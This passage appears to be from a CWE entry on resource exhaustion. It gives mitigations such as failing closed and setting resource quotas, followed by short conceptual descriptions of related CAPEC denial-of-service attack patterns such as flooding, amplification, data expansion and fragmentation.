- If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.
- Ensure that all failures in resource allocation place the system into a safe posture.
Mitigation MIT-47
Strategy: Resource Limitation
- Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.
- When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.
- Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
CAPEC-125: Flooding
An adversary consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the adversary can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target.
CAPEC-130: Excessive Allocation
An adversary causes the target to allocate excessive resources to servicing the attackers' request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-197: Exponential Data Expansion
An adversary submits data to a target application which contains nested exponential data expansion to produce excessively large output. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.
CAPEC-229: Serialized Data Parameter Blowup
This attack exploits certain serialized data parsers (e.g., XML, YAML, etc.) which manage data in an inefficient manner. The attacker crafts an serialized data file with multiple configuration parameters in the same dataset. In a vulnerable parser, this results in a denial of service condition where CPU resources are exhausted because of the parsing algorithm. The weakness being exploited is tied to parser implementation and not language specific.
CAPEC-230: Serialized Data with Nested Payloads
Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.
CAPEC-231: Oversized Serialized Data Payloads
An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.
CAPEC-469: HTTP DoS
An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted.
CAPEC-482: TCP Flood
An adversary may execute a flooding attack using the TCP protocol with the intent to deny legitimate users access to a service. These attacks exploit the weakness within the TCP protocol where there is some state information for the connection the server needs to maintain. This often involves the use of TCP SYN messages.
CAPEC-486: UDP Flood
An adversary may execute a flooding attack using the UDP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. Additionally, firewalls often open a port for each UDP connection destined for a service with an open UDP port, meaning the firewalls in essence save the connection state thus the high packet nature of a UDP flood can also overwhelm resources allocated to the firewall. UDP attacks can also target services like DNS or VoIP which utilize these protocols. Additionally, due to the session-less nature of the UDP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-487: ICMP Flood
An adversary may execute a flooding attack using the ICMP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. A typical attack involves a victim server receiving ICMP packets at a high rate from a wide range of source addresses. Additionally, due to the session-less nature of the ICMP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-488: HTTP Flood
An adversary may execute a flooding attack using the HTTP protocol with the intent to deny legitimate users access to a service by consuming resources at the application layer such as web services and their infrastructure. These attacks use legitimate session-based HTTP GET requests designed to consume large amounts of a server's resources. Since these are legitimate sessions this attack is very difficult to detect.
CAPEC-489: SSL Flood
An adversary may execute a flooding attack using the SSL protocol with the intent to deny legitimate users access to a service by consuming all the available resources on the server side. These attacks take advantage of the asymmetric relationship between the processing power used by the client and the processing power used by the server to create a secure connection. In this manner the attacker can make a large number of HTTPS requests on a low provisioned machine to tie up a disproportionately large number of resources on the server. The clients then continue to keep renegotiating the SSL connection. When multiplied by a large number of attacking machines, this attack can result in a crash or loss of service to legitimate users.
CAPEC-490: Amplification
An adversary may execute an amplification where the size of a response is far greater than that of the request that generates it. The goal of this attack is to use a relatively few resources to create a large amount of traffic against a target server. To execute this attack, an adversary send a request to a 3rd party service, spoofing the source address to be that of the target server. The larger response that is generated by the 3rd party service is then sent to the target server. By sending a large number of initial requests, the adversary can generate a tremendous amount of traffic directed at the target. The greater the discrepancy in size between the initial request and the final payload delivered to the target increased the effectiveness of this attack.
CAPEC-491: Quadratic Data Expansion
An adversary exploits macro-like substitution to cause a denial of service situation due to excessive memory being allocated to fully expand the data. The result of this denial of service could cause the application to freeze or crash. This involves defining a very large entity and using it multiple times in a single entity substitution. CAPEC-197 is a similar attack pattern, but it is easier to discover and defend against. This attack pattern does not perform multi-level substitution and therefore does not obviously appear to consume extensive resources.
CAPEC-493: SOAP Array Blowup
An adversary may execute an attack on a web service that uses SOAP messages in communication. By sending a very large SOAP array declaration to the web service, the attacker forces the web service to allocate space for the array elements before they are parsed by the XML parser. The attacker message is typically small in size containing a large array declaration of say 1,000,000 elements and a couple of array elements. This attack targets exhaustion of the memory resources of the web service.
CAPEC-494: TCP Fragmentation
An adversary may execute a TCP Fragmentation attack against a target with the intention of avoiding filtering rules of network controls, by attempting to fragment the TCP packet such that the headers flag field is pushed into the second fragment which typically is not filtered.
CAPEC-495: UDP Fragmentation
An attacker may execute a UDP Fragmentation attack against a target server in an attempt to consume resources such as bandwidth and CPU. IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. Typically the attacker will use large UDP packets over 1500 bytes of data which forces fragmentation as ethernet MTU is 1500 bytes. This attack is a variation on a typical UDP flood but it enables more network bandwidth to be consumed with fewer packets. Additionally it has the potential to consume server CPU resources and fill memory buffers associated with the processing and reassembling of fragmented packets.
CAPEC-496: ICMP Fragmentation
An attacker may execute a ICMP Fragmentation attack against a target with the intention of consuming resources or causing a crash. The attacker crafts a large number of identical fragmented IP packets containing a portion of a fragmented ICMP message. The attacker these sends these messages to a target host which causes the host to become non-responsive. Another vector may be sending a fragmented ICMP message to a target host with incorrect sizes in the header which causes the host to hang.
CAPEC-528: XML Flood
An adversary may execute a flooding attack using XML messages with the intent to deny legitimate users access to a web service. These attacks are accomplished by sending a large number of XML based requests and letting the service attempt to parse each one. In many cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing.